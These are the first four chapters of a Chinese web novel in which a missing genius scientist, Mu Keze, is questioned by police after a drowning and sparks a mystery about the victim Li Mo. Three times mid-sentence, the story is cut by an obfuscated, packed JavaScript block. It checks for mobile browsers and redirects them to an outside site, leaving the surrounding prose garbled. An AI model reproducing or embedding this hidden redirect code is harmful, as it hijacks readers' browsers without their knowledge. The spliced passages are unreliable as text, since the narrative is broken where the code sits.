《钓鱼不钓人,男主在掘坟》 1. 第 1 章 第三纪公认的最强天才失踪了。 神庭会对此议论纷纷。没人知道她最后去了哪里,人们传言说她可能遭遇了不幸。有人嘀咕她一直嫌弃供应的食物没有种在泥土上,有人认为她将要验证超量子波距的实验,在采集足够多的数据之后便会华丽归来,掀起新一轮的电子风暴。 执政首席已经疲于处理关于这位失踪天才的信息。 “路过溺水案现场,涉嫌陆外十三城信息诈骗的重要嫌疑人?” 首席轻嗤。 但凡那家伙想要搞事,一百个十三城都算数量有限。 地面那帮没脑子的金鱼,也只会吐这些哗众取宠的水泡。 太阳照常升起,月亮日复一日。 没有人的生活因此产生动荡。 又有人开始质疑真有那么一个天才曾真切存在过,是否是一场大型集体的幻觉,虚构出了那么一个象征智慧的精神支柱,或者又是核心园区的阴谋。 也有人坚持她的存在。 那些从未被她本人承认过的学生们这样辩道。 “为什么她的离开会令我们的生活如此平静,因为她就是带来风暴之人。而现在,风暴已逝。” 即使是号称理性之地的神庭会也会孕育猜忌的土壤。 总之,无论如何,所谓天才,也不过一颗稍纵即逝的流星。 …… 擅自闯入神庭会是违法的,逃出治安局也是。 但当有人从神庭会擅自闯入治安局时……就令人很困惑。 “我并没有闯入治安局。”木柯泽好整以暇地坐在审讯室的椅子上,提醒对面,“我是被抓进来的。不出意外的话,我现在依然在河边钓鱼。” 对面坐着的却不是审讯专员,而是匆匆赶到的研究员,有的因为过于着急,还没来得及换下实验服。 他们的面庞上却并没有打断实验的不耐烦,更多的是一种茫然的无措。 一种刚睡醒就被饲养员拎起来干类似“让奶牛下鸡蛋”这种活的茫然无措。 “木……咳,柯泽女士。”其中一位中年男人紧急查看了一遍手中的档案,“没想到我们会在这里见面……说实话,在此之前我都是从文献里见到过您的照片。” 毕竟像他们那样的高等人种,怎么可能会离开神庭会,屈尊落地到陆外十三城。 木柯泽耸肩,向对方摊手:“你的荣幸。” 神庭会建于平流层,与世隔绝,聚集最顶尖的资源与人种。 那里的科员们非必要不轻易落地,对大地上发生的一切漠不关心,也一无所知。 过去三个纪元,从未有过木柯泽这样的先例。 谁愿意从天堂闯进地狱呢? “您可能对目前的情况不太了解,”这位中年人轻咳一声,斟酌道,“目前陆地上的纪年方式,交通工具,以及社会常识等等……” “所以,我希望您能尽量知道,您既然路过西郊溺水案现场,他们便是有权利将您带走问话的。” 木柯泽“哦”了一声。她对此其实没有什么意见。 任何一个出现在案发现场的人,都应该有这样的觉悟。 她表示理解。 今日早晨,太虚湖保安报警,治安局的人抵达现场后发现一具溺水浮尸,以及过路的木柯泽。 这人出现在人迹罕至的西郊已是足够可疑。治安局本以为抓捕了嫌疑人,但经初步询问后发现,此人竟然是神庭会,据说已经失踪三个月的木柯泽。 “资料上显示……您在上个月加入了诺顿科技公司。”中年男人的表情逐渐变得有些扭曲,似乎觉得以木柯泽的身份来说,这份工作有些可耻,“成为了实习生,但在试用期主动离职。” “嗯哼。” 木柯泽说。 短暂的安静。 长了眼睛的人都看得出来,这已经完全偏离了审讯的初衷。木柯泽过于显赫的身份让审讯室变成了某种意义上的会客厅。 中年男人缓缓将视线投向一旁沉默不发的青年。 那个青年接过他手上的档案,坐到木柯泽对面。 哦。换人了。 大概是年轻人才不知天高地厚,或者是别人生怕惹恼了她,推他出来做替罪的白羊。 木柯泽无所谓地心想。 “柯泽女士,我们对三年前你提出的超距波模型在算法的领域使用很感兴趣。”白羊青年开门见山地说,“希望你能够加入。” 这人比起毕恭毕敬的其他人来说冷静多了,木柯泽多看了一眼。 好家伙。 前几天才在《时代·人物》上见过。 季疏原。 最年轻的城大教授。神庭会曾邀请过他上天,但被本人坚决地拒绝了。 “对不起,我想退休。”木柯泽说,“迄今为止,我动的脑子已经够多了。” 中年人脸上一闪而过了某种情绪。木柯泽抬眼扫过。 “前往神庭会的飞机最早三个月后有一趟。”季疏原说,“需要为你申请吗?” 木柯泽摇头:“不用。” 她回答得很快。 “我听说柯泽女士从出生开始就没有降落过。”季疏原冷淡道,“或许地面的光景与天上并不相同。希望你能够考虑清楚。这不是适合养老的地方。” “如果不是今天你们将我抓到审讯室调查我的身份背景,我想我可以一直过上这样平静的生活。”木柯泽语气也十分平静,“不被你们发现,也不被庭会发现。” “以目前科技的发达程度,通常情况下想要瞒过网络技术并不简单。” “我不算是通常情况。特例不具有普适性。” “但当一个人无时无刻处于这种监控矩阵下,即使有核心密钥,也很难保证万无一失。” “只是很难,不是不可能。”木柯泽说,“再说,要绕过治安局的监控,其实用不上密钥这种办法。” 季疏原蹙眉,片刻后问:“用不上?” 木柯泽扬了扬眉:“怎么。你想知道吗?” 相当恶劣的表情。 仿佛下一秒就会脱口而出,“你求我啊”。 季疏原不言,敛眸思考。 中年男人:“……” 这两个人的对话倒也显得这里不像会客厅了,但也不像审讯室。 嗯。 有种似曾相识的感觉,仿佛在某场学术会议。 “但是。”中年男人不得不开口打断他们,“我们非得要在治安局里讨论这个话题吗?” 是不是有点过于放肆了。 季疏原顿住:“好的。” 木柯泽轻笑一声。 审讯室的冷光映照下来,选择沉默的青年坐在原地,任由光束将他的五官分割成黑白鲜明的两部分。 好像……也没有广告杂志上说的那样正直。 木柯泽本能地开始分析此人行为背后可能的逻辑,最终还是觉得情绪依然是不可控的混沌模型。 于是她也保持沉默。 “既然柯泽女士,选择停留在陆地上,”过了会,季疏原又问,“真的不考虑一下加入我们吗?” “我拒绝。” 木柯泽说:“之前提过,我并不想再参与什么项目研究了。” “柯泽女士不想为人类的发展做贡献吗?还是说,看不上我们陆地人的脑子。” 中年男人讶异地看了季疏原一眼,像是从未见过他如此刻薄的模样。 木柯泽完全没有被攻击到的表情,有些好笑:“哇塞。看起来你找到了终于能寄托人生价值的事情呢。恭喜。” 这话听上去不无嘲讽。但季疏原也仅是幽邃地盯了她一眼,突然接连发问:“受害者跟你什么关系?” “一周前,他为什么会手捧鲜花出现在你离职的公司楼下?” “而你为什么又恰好选择在他跳水的河段钓鱼?” 但也没给木柯泽回答的时间,他又开口:“想清楚待会该怎么说。” 反而又像是给她透露之后的审讯内容了。季疏原从各个场景都给她找了遍角度,几乎是无所保留地将治安局这边掌握的情报都给木柯泽揭了个底,仿佛期末前给大学生划考试范围的善人老师。 木柯泽:“……” 这位哥是什么好为人师的设定吗? 她回忆之前的对话,自认为并没有值得他这样做的理由,季疏原看上去也不像是为了讨好神庭会的那种人。 虽说不能以长相度人,但季疏原的气质确实正得发邪,感觉会是上学时当班长,长大后会负责周围片区的志愿者活动,老了自愿去组织老爷爷钓鱼老奶奶跳舞。 而她就是翻墙都要逃离养老院的八十岁健步如飞叛逆老太。 木柯泽久违有了青春期叛逆的感觉,不知道为什么就想跟他对着干。 她快乐地说:“还有别的问题吗?” “……木柯泽。” 这人已经连女士都愿意不叫了。 木柯泽:“对不起。你刚刚的问题,我都没想好。” 季疏原明显眉头拧得更深了。 木柯泽内心却越发快乐,快乐到要膨胀成气球小人。 她这种轻松惬意完全不在乎的神态令季疏原的脸色越发难看。 他站起来,弯腰向前逼近她,以只有两个人才能听见的声音:“木柯泽,你既然已经在这里生活了三个月,想必应该清楚大部分人对神庭会的态度——百分之一的人掌握了百分之九十九的资源。离开地面研究院的庇护,你会被针对到死。” 木柯泽盯着季疏原黑白分明的眼睛,缓缓开口:“我知道。” 季疏原沉声:“你也不想余生都在监狱里度过吧。” 这人跟外表真的截然不同啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322524|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没想到不是古板老派的正义人。 还以为是会第一个举起“反抗神庭会聚拢资源,知识理应共享”旗帜的领袖人物。 这下没有太多心理负担了。 木柯泽依然这么笑嘻嘻地盯着他,两人之间仅有咫尺的距离。 好香啊。他身上。 她想,平时用的是什么牌子的清洁剂呢? “你难道也觉得。”木柯泽慢吞吞地说,带有一种莫名的挑衅,抬眸道,“这个治安局真的关得住我么?” 一秒。 两秒。 三秒。 季疏原避开了她的视线,冷着脸站直,带着身后一帮人头也不回地离开了审讯室。 啊。 生气了。 木柯泽有一种“果然如此”的感觉,她坐在原地,然后微笑迎接下一批人进来。 这批人比起白大褂的科学家更加不苟言笑,个个都带有肃杀的气息。 身后几人还合力抬着亮黑色的设备,据说是人类历史上难得不多的,比神庭会要更加先进的测谎仪。 虽然忌惮于她的身份不会动手,但是连续高压的审讯,再加上测谎仪的协助。治安局的人相信,对木柯泽这个一点也不了解地面的,与世隔绝的天才来说,必然不会好过。 爱测就测吧。木柯泽摸了摸鼻子。 她又不是爱说谎的长鼻子。 - 审讯室的玻璃是单向的。 木柯泽的微表情,木柯泽的生理指标,木柯泽的生平……一一显示在屏幕上。 “你已经做的很好了。” 季疏原推门进去的时候,屏幕前的医生头也不回地说了声。 “我只是在想一件事……”季疏原捂住额头,道,“按照她的说法,只要她乐意,她能去她想去的任何地方。” “她不会被任何人发现。” “那么,她出现在这里,一定是故意的。故意让我们调查她,故意暴露自己的身份。” 不得不承认,之前治安局毫无所觉的三个月,已经证明了木柯泽的本事。 “也有可能,这家伙就是玩腻了而已。”医生的笔尖敲打着笔记本,语气随意,“这类人很容易感觉到无聊吧。” 季疏原将手中的文件放到桌上,自己拉开椅子坐下,盯着屏幕前十分平静的那人。 平心而论,木柯泽的外表极具有欺骗性。文静,柔弱,纤细……你从她身边擦身而过,仿佛只是经过了一阵飘雨的微风。 但当她抬眼,用那双安静的眼睛注视着谁,却无端有种正在被全盘解析的赤裸感。 令人毛骨悚然。 这世上哪有什么坦诚相待,不过是看不到真正的隐私。 不久前,木柯泽曾受人所托要拆散一对热恋中的情侣,于是在他们的手机里投放病毒,宣称第二天将对换恋人之间所有app的浏览记录。 于是在第二天,他们分手。 后来又有委托人高金向她购买病毒源代码,他们才得以追查到木柯泽。 但他们调查后发现,那对情侣手机里确实有病毒。但并没有能够对调浏览记录的功能。 所谓的病毒,只是在某个软件上投放了“第二天将对换恋人之间的浏览记录”的宣传语。 一句话。 仅此而已。 他们分手。 “这台测谎仪是新兴研发的一代,为了此次审讯特意从中心区调用来的,路上共接手有十八道手续,每个都是经历过生死局的战士。木柯泽不可能有接触它的机会。”医生说,“除非……除非她能在接下来短短问话的几十秒,避开纳米级别的隔缘层和所有人的监控,凭空篡改这台测谎仪的底层代码。” 话说到这份上了,医生自嘲一样地摇摇头:“我还是不信,身为同一物种的我们,不过生活在不同的环境,差距便到了如此的地步。” 屏幕上,审讯员们按照问题开始询问,木柯泽依旧无动于衷,露出那种静谧的微笑。 她只是恬静地坐在那里,像一副悲哀的画。 危险的画。 “我的……目的?我说过了,我只是想钓鱼而已,长官。” 所有人,墙内的,墙外的。 堂而皇之的视线,小心翼翼的眼神。 全都投向那台测谎仪。 不该是这样的答案,她一定在说谎——快!红灯亮起,拉警报啊!! 没有动静。 绿灯。 正常工作。 测谎仪毫无反应。 ——寂静。 令人头皮发麻的,绝望的寂静。 季疏原内心竟然隐隐有种无可救药的,想要去相信她的冲动。 “她疯了。” 一墙之隔。 季疏原盯着木柯泽完美无缺的笑容,深深吸了一口气:“我也是。” 2. 第 2 章 得益于神庭会对陆外十三城的资源垄断,那台测谎仪的算力时间并不长。 每个需要回答的问题真正做到了重若千金。 审判一个问题,烧一座城。 而当事人仿若不觉,并没有被严阵以待的紧张。 一个昂贵的事物可以代表权威,确立分明的阶级。当然也可以是砝码,走投无路的砝码。向领导献上纯洁白羊的砝码。 木柯泽明白那台测谎仪的价值,正因如此,她更能明白,面前这群人似乎已经无计可施。 她换了个轻松一点的姿势,仍旧坐在审讯室的木质椅子上。 “四个月前,你曾经公开反对脑机接口技术。” “三个月前,你离开神庭会,在瑟缪尔夫人的手机上投放病毒,公开她和情人的三段绯闻,导致诺顿科技联邦的股票迎来重大转折,不能继续投资生物信号芯片。” “三周前,你加入诺顿旗下一家分公司,在试用期内主动辞职。在你走后,该纳米材料项目研究完全中断。” 念完长长的这么一段,审讯员严厉地问:“请问,你今天为什么会出现在现场?” 木柯泽不为所动:“钓鱼打窝。” “……” 一群人又是同样的动作,不死心又齐刷刷地去看嗡嗡工作的测谎仪。 在搬出这个机器之后他们便将所有的责任都压在这个无机质的结构上了。毕竟钢铁不会说谎,不会推脱一个人给另一个人背绩效,在内心里九转千回推理蜘蛛一样的人际网。 纯洁的白羊。 钢铁白羊。 完美的替罪羊。 但是,它依旧没有反应。 借调它的时候,他们设想的是一场完美的审讯,绝对的正确,木柯泽所说的每句话都有这台机器担责。 而不是此刻,任由荒谬的言辞出现在证词本上。 木柯泽看到面前几张僵硬麻木的脸,僵硬麻木的脑子指挥着僵硬麻木的手,机械地记下这台机器担责的,木柯泽口中的每句荒谬的话。 最后组成一份绝对在场证明。 木柯泽发自内心地露出真实的笑容。 其中一位审讯官低头暗自咒骂了几句听不清楚的脏话。倘若不是该死的规矩,估计想把这台测谎仪暴力拆解,然后将那堆见鬼的零件都扔在她身上。 门第二次打开了。 站在门口的,外表看上去像是个外国小伙。 “日安,诸位。” 那个金发卷毛的年轻人显得过分开朗了。实验室的制服扣从第二颗开始就系错,一直这么到第五颗,大概才意识到这个事实,空了一颗,就接着这样若无其事地扣完。 褶皱扭曲起伏得像喜马拉雅山脉。 “我有一些话想要问她。”这位年轻人笑眯眯地坦白,“但我可支付不了一台改装贰型的费用。” 托他的福,木柯泽总算知道了这台测谎仪在他们口中的名字。 “改装贰型”匆匆离场。结束了这一场荒唐的审讯。 “阿德莱德顾问,请端正你的仪态。” 审讯官们离开时,皱眉叮嘱他。 阿德莱德。熟悉的名字。 木柯泽想了片刻。 好家伙。 同样也是拒绝上天的一位人物。 感觉是为了接待她这位从天而降的客人,于是治安局索性一股脑地将所有与神庭会曾有过相关经历的人都紧急薅了过来。 但是这样真的好么? 木柯泽不禁有些想要质疑这个举措。 难道不怕这些自愿选择停留在地面上,本身就坚决拒绝神庭会的家伙们更加激化双方矛盾? “柯泽小姐。” 阿德莱德,这位特邀顾问轻快地走了过来,看起来是在这种情境下十分熟练地兼职了法医。 “我本意要跟随他们称呼你为‘女士’,在看清你的面容后,原谅我想用更为年轻一点的叫法。” “请随意。”木柯泽说。 “那我就开始了。” 阿德莱德依然是用那种夜莺一样的轻快调子说道:“三天前——” “三天前,受害者曾手捧鲜花出现在你实习的那家分公司门口。” 木柯泽没有太大的动作,略微看了他一眼。睫毛轻轻颤动,像是终于有了兴趣。 “尸体的某些部位,胸腔和腹腔周围残留有大量异常坚硬的不明物体,初步推测是石头。这些石头在光滑程度和坚硬程度等特征上,与积水潭区域的鹅卵石高度吻合。” “那么,柯泽小姐,请问你当时手上的鹅卵石,也是为了钓鱼么?” 原本有所松动的人,再次懒洋洋地坐了回去。 高强度的审问,接连施加的压迫,加诸到任何一个普通人身上早就该涕泗横流地忏悔过往人生中的所有罪孽,然而木柯泽没有哪怕是半分的疲惫松动。 刚刚撬动的一块巨石,又回滚到原地。 阿德莱德隐约有所预料。 关于他接下来即将听见的,又一个荒谬的回答。 木柯泽犹豫片刻,不确定道:“打……打水漂?” “……” - 从治安局出来的时候已经是晚上,木柯泽在众人的监视下,从容地享用完地面上的一餐。 她无罪释放,只是暂时被监管。三天后,这种监视和嫌疑便会被撤销,她将继续作为一个普通公民,生活在地面。 虽然只是明面上的撤销而已,双方都心照不宣地知晓着。 “你们这里,晚上有一个月亮。”木柯泽突然说。 这三天内负责监视她的总算不是拒绝上天的时代人物了,意料之外的是一个看上去相当耿直的青年,感觉是出门一趟与邻居家的狗都会打好关系的那种开朗阳光大男孩。 “柯泽女士?”阮小天跟随着木柯泽的视线抬头,不明白她什么意思,也跟着老实笑道,“晚上当然会有一个月亮。” 他们从治安局离开,周围人来来往往。 审讯官们在疲惫地搬运改装贰型。有不少人陆续向她投来或敌意或探究的眼神,沉重的情绪。 如果这些复杂的情感如果能够实体化,那么治安局现在已经被大海吞没了。 对木柯泽抱有敌意的人有,因为她背后所代表的神庭会。敬仰的人也有,不时能够听见翻阅她档案时惊艳的抽气声。也会有人第一次认识她是从最直观简单的外表而非错综复杂的关系背景,也非纷纷流言。 月亮公主。他们这么叫她。 照亮一个时代的黑夜,从天而降的,不谙世事的公主。 把一个婴儿投放到人世间,要通过多年,才逐步学会了说话,走路和主动汲取知识——也有可能一辈子也学不会。 一个木柯泽从天上降落到地面。 第一个月学会撒谎。第二个月学会钓鱼。第三个月进局子。 季疏原穿过嘈杂的人群,向即将离开的木柯泽走来。 “我还有个问题。”他说。 木柯泽回头看了眼治安局的大门,烫金色的招牌笔锋锐利。木柯泽有些感到好笑。 这家伙也是根本不把所谓规则放在眼里。 “所以在治安局门口谈论这个,你觉得就合适了?” “你到底是怎么绕过这些治安局的监管手段,伪造身份的?” 治安局的阮小天茫然地左边看看,右边看看,感觉自己是条被夹在中间进退两难的狭路。 木柯泽:“我没有伪造过身份。” “我从来没有隐瞒自己。” 季疏原皱眉:“这不可能。” “谁又会相信天堂伞真的是上帝制造的呢?”木柯泽无所谓地耸肩,“就算我拿着喇叭站在大马路上到处宣言我叫木柯泽,别人也只会认为是一个仗着自己跟木柯泽长相相似的高仿神经病。” “所以这个世界上真的有上帝吗?”阮小天看看他俩,小声插嘴。 “当然没有了。”木柯泽十分奇怪地看他一眼,“我瞎编的。” 阮小天:“……” 木柯泽潇洒地向露出“对人生产生重大危机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322525|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质疑”这种表情的季疏原挥手道别,和阮小天一同坐上专车。 阮小天坐在驾驶位,他搜索导航木柯泽如今所居住的公寓。 车窗外景色迷离。后备箱还贴心地放着她的钓鱼装备。 “我其实非常遗憾。” 寂静的车内,突然响起不合时宜的感叹。 木柯泽可惜地轻叹一声:“你知道吗,我对这次审讯很失望。” 阮小天浑身一震:“姐你知道我身上带着录音和定位的仪器吧?” 木柯泽“哦”了一声:“在你上衣的第二个口袋。” 阮小天:“……” 阮小天:“我刚刚不是问你知不知道它的位置……算了。” 没理他。木柯泽继续抒发此次治安局一日游的感想。 “很可惜,相当可惜。要掩藏一棵树的方式就是将它种植在森林里。大概是我的身份让他们过于惊慌失措了,打乱阵脚,调查的时间都用于借调什么季疏原,阿德莱德和改装贰型。准备时间过于短暂的情况下,以至于遗忘了最本质的问题,一个初入职场的普通人都能问的基本问题。” “也有可能他们想到了,但是觉得不重要,不值得浪费这些天才大脑和智械们的时间和算力资源。” 阮小天嘴角抽搐了一阵:“柯泽女士嘴里的普通,恐怕与我们有所不同。” “你知道吗,我其实非常遗憾,好可惜。其实我对这次审讯很失望。”木柯泽轻叹一声,“到最后,真的没有一个人问我那个问题。” 阮小天觉得自己仿佛听见这个夜晚,同事们即将通宵加班的哀嚎。 “所以,现在轮到我来问问你们了。” 木柯泽好整以暇地坐在回家的小车上,欣赏着窗外稍纵即逝的景色,对阮小天上衣第二个口袋里的录音设备说话。 他们都以为比我更了解他。 他们研究了我的身世,我的生平,努力挖出我与这片陆地上仅存的关系。却无人在意另一个人。另一个本该在一开始就值得更多关注的人。 大概对于他们来说,一个普通的溺死者,真的不值得在意。 李默。 一具被遗忘的尸体。 在这场盛大的荒唐审讯中,一个消失的受害者。 - 往来街道。 季疏原目送木柯泽带着那个愣头青离开,收回眼神,协助改装贰型的搬运。 既然与木柯泽的审讯已经结束,那么针对它的护送等级下调了不少。 “轻拿轻放,轻拿轻放。”工作人员不认识季疏原,把他当作了普通的治安局员工,“对对,显示屏在上。” 季疏原便照做。 与此同时,他忽然眉心一跳:“改装贰型有增加自动开机的程序吗?” 前方捣鼓发动机的工作人员大声道:“什么——听不清——什么自动开机?” 改装贰型的电子屏幕亮起,显示出一行红色的小字。 …… 治安局内。 阿德莱德维持着表面礼貌的微笑,看向争论不休的官员们,眼神隐约透露出一股不耐烦。 “保释?”有人大声质询,“谁敢这么为她担保?我警告你,平时偷偷摸摸我都睁一只眼闭一只眼过去了——但是那可是木柯泽?你们怎么敢的?就这么放她走了?” “……我也请你多体谅下我跟那帮人权衡的难处,这么多年扪心自问我有没有欠过你的。” “那也不能——” “是傅临。”斩钉截铁的语气。 “……” 阿德莱德嘲讽地笑了笑。他戴上耳机,连通监控的录音频道。 木柯泽的声音经过调频的部分失真,传进他的耳机。 同一时刻。 搬运车上的季疏原看清了改装贰型显示的那行红色小字。 琥珀色的瞳孔轻微颤动着。 【李默是谁?】 - 通讯频道里,木柯泽从容不迫地审问治安局。 “那么,李默是谁?” 3. 第 3 章 阮小天停在幸福小区前。 门口的保安正拿着根骨头喂狗,一边喂一边揉狗头,狗也欢腾地摇着尾巴。在见到陌生车辆时狗眼瞪大,见到木柯泽下车后狗头又缩了回去,继续啃鸡腿肉。 保安也看到了他们。 “小木,今天回来得这么晚啊。”保安眼睛一眯,“怎么还带了个人。” 小……小木??? 阮小天瞪大眼睛。看了看熟稔的二人。 就这么叫了?? 木柯泽熟练地把阮小天一扒拉,推到保安大叔跟前刷脸:“我……呃,我弟。来这儿住几天。叔你记得给他开门。” 阮小天懵了会,反应过来,扯出一个笑:“麻烦叔了。” 他上道地给大叔递了根烟。两个人聊得欢,忘了狗。 好。 看起来不用她多操心。 木柯泽从后备箱里找出自己今天出门的鱼竿。家在三单元,离门口不远,一会便听见那个小科员停好车,噔噔跑了过来。 “姐,姐你走慢点。” 看来他对于自己的新身份,已经丝滑接受了。 但脚步声听上去很犹豫,在酝酿试探。 有些烦。 木柯泽决定先开口:“是不是觉得这地方跟你想的不一样?” “啊、是的。”阮小天像上课被点名那样站直了说,“感觉姐之前住的应该都是我们进不去的地方。” 木柯泽:“哪里都一样。” 说话的时候他们已经走到了五楼,木柯泽用力一蹬腿,声控灯才亮起。她掏出当啷响的钥匙转动开门,然后开灯。 “拖鞋在鞋柜里,自己拿。” 她随手把鱼竿放在门口,自己先进客厅了。 阮小天站在门口,仍然有点懵:“啊?我?我现在就进来了吗……” 他最开始以为是住在隔壁的邻居家,或者应该待在某个别墅的杂货间。 “怎么?你要让我住出去?” “不是不是!”阮小天赶紧否认,“姐你还是先看看需不需要收拾一下东西之类的,我在外面等你。” “没什么好收拾的。”木柯泽依然无所谓,“你进来吧。进来就知道了。” 阮小天此前从没进过单身女性的家门。手脚不协调地进了屋,先是一股寒气,然后看清这个家。 称不上“家”这个词,只能说是一个装修过的房子。 客厅有三两个柜子,一个沙发,一个书桌。最多的东西是桌子上堆满的演算纸,分别用螺丝钉,充电头之类乱七八糟的东西随意压着。 所有的家具,全是方正的灰色,黑色和白色。一打眼还以为进了某种后现代压抑的艺术展。 小酒店都要比这里富有温情。 这下,阮小天明白了木柯泽那无所谓的态度,以及“哪里都一样”的话。 “姐,你在天上……”阮小天顿了顿,问,“也这么过的吗?” “差不多吧。”木柯泽收拾出一间卧室,说,“里面有独卫,厨房客厅公用,我不提供换洗衣物,这三天没问题吧?” “没问题没问题。”阮小天赶紧应声,“本来就是麻烦你了。” 这个感觉……就好像她不属于这个世界,随时都可以抽身而退。 所以无论神庭会还是幸福小区,都只是一个借住的地方。 她是没有“故乡”概念的那种人。 大概对他们那种人来说,也并不需要。 ……阮小天又在思考了。 木柯泽深深叹了一口气。她跟人共处一室的经验不多,但过近的距离,通常都能够很清晰地意识到他们在思考。而他们的思考通常都很吵。 眼不见心不烦。她进了自己卧室,反手落锁。 - “笃笃。” “热水自己烧,花洒左右扭一下就能固定好。其余你想干什么不用跟我说。” “……好的。先谢谢了姐。”门外的声音有些犹豫,“但是,是治安局那边请求通话。” 来得比她想的要快了点。 估计是有季疏原和阿德莱德协助的缘故。 木柯泽开门,她没换睡衣,但是头发披散了下来,肤色本就偏白,盯着人的时候更像女鬼了。 “去客厅。”木柯泽简洁道。 阮小天抱着电脑,哒哒拖着鞋殷勤地走到书桌前,犹豫着看了眼上面密密麻麻的演算纸。 木柯泽扬了扬下巴:“就放那上面也行。” 阮小天兢兢业业地照着木柯泽的话一板一眼地动作。 意料之外,情理之中的一件事——幸福小区信号不好。 “左边敲三下墙。” “摆歪一点。” “再垫三摞纸。好了。” 屏幕中央转圈的进度条终于加载完成。 对面的通讯员一抬头就是阮小天的迫近大脸,忍不住脱口一句“我……去。” 阮小天:“……” 阮小天假装无事发生,让开摄像头:“姐,有信号了。你过来吧。” 木柯泽这才坐到人体工程椅上,拖着轮子滑过来。 “神庭会从来不敢在晚上七点以后跟我发消息。你们是第一个。”木柯泽慢悠悠道。 对面的通讯员一梗,心想这是位活祖宗,微笑抱歉:“不好意思,柯泽女士。” “什么事。” “我们是想问一下,关于受害者……跟你是什么关系?” 木柯泽手里举着马克杯,里面倒了热水,还在冒白雾。她在几人的注视下浅喝了一口,随后看了眼通讯员的表情。 又是一只替罪白羊。 “在这之前,你们搞清楚他是谁了吗?” 通讯员安静了几秒,然后,她的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322526|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠往左下角转动,脸部反射出某种电子微光。 “李默。死者,二十二岁。”她的语气平缓,像转型演员却只会念稿的选秀偶像,“出身于陆外十三城,父母三岁时离异,跟着奶奶长大,八岁就读阳光小学,十五岁从高中辍学……” 木柯泽没忍住,鼻腔里漏出一声轻笑。 “如果是这个人。”木柯泽悠然道,“那我跟他确实不认识。” “柯泽女士,我希望你能严肃对待这件事。”对面的通讯员无视了弹出的红色警告,语气相当严厉,“无论他到底是谁,这都是一条人命!一条活生生的人命!请配合我们调查!” 白天,无论是季疏原的步步紧逼,转型贰号的审讯,以及阿德莱德的尸检报告,都没有让这位天才有任何松动。 现在木柯泽对着一个替上司承担风险的普通职员说出第一句最有价值的话。 ——也有可能是因为她终于认清,这个世上大多数人都是蒙昧无知地照着葫芦过日子,无奈降低了标准。 “代价也想清楚了吗?” 对面一愣。 “什么?” 木柯泽说:“李默是个爱惹麻烦的人。换句话说,我下来这一趟,就是负责收拾他留下的烂摊子。” 她无比怜悯且慈爱地望着愤怒的通讯员,如同望着圈养的小羊。 也很有耐心,像答疑解惑的老师。 区别在于,她不会主动教授知识。 难捱的寂静里,通讯员小姐固执地继续发言:“那么,柯泽女士,你能够告诉我们什么呢?关于李默,他为什么会去西郊?” “知道中心区么?” 中心区。 垄断资源,固化阶级这种事不止发生在神庭会,地面最为显著的就是中心区。只不过关于庭会的矛盾要比中心区更加显眼,显得它格外无害,没成为众矢之的的靶子。 通讯员:“他是想要通过西郊前往中心区吗?” ——反而在普通人眼里,中心区是个好地方。 “不。”木柯泽有些困了,耷拉着眼皮,“他要向中心区复仇。” “调查清楚他是谁,明晰你们要付出的风险和代价。在这之后,再决定要不要真的追查下去。同时,我随时可以回答你们的问题。” 木柯泽起身,对着屏幕轻松地笑了一下。 “以及……躲在屏幕后面的这些人,虽然你们没有现身,但我得夸夸你们——今天做过的所有决定中,最明智的,就是让这位通讯员与我连线。” 随后,通讯被她强制中断。 这句话实在算不上什么称赞。 会议室内一片安静。 季疏原面无表情。 阿德莱德混不在意治安局里那些领导们的脸色,兀自吹了声口哨,湖蓝色的眼眸紧盯着屏幕上回放转播的面孔:“柯泽小姐,真的……非常迷人。” 4. 第 4 章 已经很久没有从公鸡的打鸣声中醒来了。 阮小天洗了把脸,恍惚间觉得自己在某个乡村民宿里。他推开门,木柯泽已经坐在客厅的书桌前,正戴着耳塞吃早饭。 面包和牛奶。 “早饭自己做。”木柯泽说。 她从容地敲了一下杯子,随后揉紧耳塞。 下一刻,窗外应声骤然响起噼里啪啦,抑扬顿挫的女人叫声。尖锐得像是在划玻璃。 “我爬到绳子上用力一拽,水果们哗啦啦地掉了下来,白果子红果子大葡萄大公鸡和长长的怪物……怪物啊!怪物!同志们,兄弟姐妹们,我来告诉你们——他们是狼吗?是老虎吗?” “他们长着比月亮还亮的巨大独眼,手里握着闪电要劈开你的喉咙,把你的人皮翻过来再叠成一座座山。” 阮小天一惊,转头看去。 木柯泽在纸上写着什么,头也不抬:“楼下的杨疯子。前几年女儿丢了,每天早上都要这么叫一遍。” 又过一会传来隔壁家催着孩子起床上学的叫喊声,豆浆机轰隆隆地震天响。 “你喜欢沙发还是气垫床?” 木柯泽在这片鸡飞狗跳中问他。 “呃,那个……气垫床吧。” 